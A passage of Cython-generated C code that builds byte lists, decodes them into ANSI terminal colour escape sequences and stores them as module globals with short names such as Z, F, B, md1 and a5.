  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_Z, __pyx_t_5) < 0) __PYX_ERR(0, 44, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 45, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 45, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 45, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_F, __pyx_t_5) < 0) __PYX_ERR(0, 45, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 46, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_54);
  __Pyx_GIVEREF(__pyx_int_54);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_54);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 46, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 46, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_B, __pyx_t_5) < 0) __PYX_ERR(0, 46, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 47, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 47, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 47, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_X, __pyx_t_5) < 0) __PYX_ERR(0, 47, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 48, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_53);
  __Pyx_GIVEREF(__pyx_int_53);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_53);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 48, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 48, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_C, __pyx_t_5) < 0) __PYX_ERR(0, 48, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 49, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_55);
  __Pyx_GIVEREF(__pyx_int_55);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_55);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 49, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 49, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_w, __pyx_t_5) < 0) __PYX_ERR(0, 49, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 50, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_52);
  __Pyx_GIVEREF(__pyx_int_52);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_52);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 50, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 50, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_y, __pyx_t_5) < 0) __PYX_ERR(0, 50, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 53, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 53, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 53, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_md1, __pyx_t_5) < 0) __PYX_ERR(0, 53, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 54, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 54, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 54, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_md2, __pyx_t_5) < 0) __PYX_ERR(0, 54, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(11); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 55, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_56);
  __Pyx_GIVEREF(__pyx_int_56);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_56);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_53);
  __Pyx_GIVEREF(__pyx_int_53);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_53);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 7, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_53);
  __Pyx_GIVEREF(__pyx_int_53);
  PyList_SET_ITEM(__pyx_t_5, 8, __pyx_int_53);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 9, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 10, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 55, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 55, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_md3, __pyx_t_5) < 0) __PYX_ERR(0, 55, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(11); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 56, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_56);
  __Pyx_GIVEREF(__pyx_int_56);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_56);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_53);
  __Pyx_GIVEREF(__pyx_int_53);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_53);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 7, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_48);
  __Pyx_GIVEREF(__pyx_int_48);
  PyList_SET_ITEM(__pyx_t_5, 8, __pyx_int_48);
  __Pyx_INCREF(__pyx_int_56);
  __Pyx_GIVEREF(__pyx_int_56);
  PyList_SET_ITEM(__pyx_t_5, 9, __pyx_int_56);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 10, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 56, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 56, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_a5, __pyx_t_5) < 0) __PYX_ERR(0, 56, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 57, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_49);
  __Pyx_GIVEREF(__pyx_int_49);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_49);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 57, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 57, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_Z, __pyx_t_5) < 0) __PYX_ERR(0, 57, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 58, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 58, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 58, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_F, __pyx_t_5) < 0) __PYX_ERR(0, 58, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 59, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
  PyList_SET_ITEM(__pyx_t_5, 0, __pyx_int_27);
  __Pyx_INCREF(__pyx_int_91);
  __Pyx_GIVEREF(__pyx_int_91);
  PyList_SET_ITEM(__pyx_t_5, 1, __pyx_int_91);
  __Pyx_INCREF(__pyx_int_50);
  __Pyx_GIVEREF(__pyx_int_50);
  PyList_SET_ITEM(__pyx_t_5, 2, __pyx_int_50);
  __Pyx_INCREF(__pyx_int_59);
  __Pyx_GIVEREF(__pyx_int_59);
  PyList_SET_ITEM(__pyx_t_5, 3, __pyx_int_59);
  __Pyx_INCREF(__pyx_int_51);
  __Pyx_GIVEREF(__pyx_int_51);
  PyList_SET_ITEM(__pyx_t_5, 4, __pyx_int_51);
  __Pyx_INCREF(__pyx_int_54);
  __Pyx_GIVEREF(__pyx_int_54);
  PyList_SET_ITEM(__pyx_t_5, 5, __pyx_int_54);
  __Pyx_INCREF(__pyx_int_109);
  __Pyx_GIVEREF(__pyx_int_109);
  PyList_SET_ITEM(__pyx_t_5, 6, __pyx_int_109);
  __pyx_t_6 = __Pyx_PyObject_CallOneArg(((PyObject *)(&PyBytes_Type)), __pyx_t_5); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 59, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_6);
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;
  __pyx_t_5 = __Pyx_decode_bytes(__pyx_t_6, 0, PY_SSIZE_T_MAX, NULL, NULL, NULL); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 59, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0;
  if (PyDict_SetItem(__pyx_d, __pyx_n_s_B, __pyx_t_5) < 0) __PYX_ERR(0, 59, __pyx_L1_error)
  __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0;

  
  __pyx_t_5 = PyList_New(7); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 60, __pyx_L1_error)
  __Pyx_GOTREF(__pyx_t_5);
  __Pyx_INCREF(__pyx_int_27);
  __Pyx_GIVEREF(__pyx_int_27);
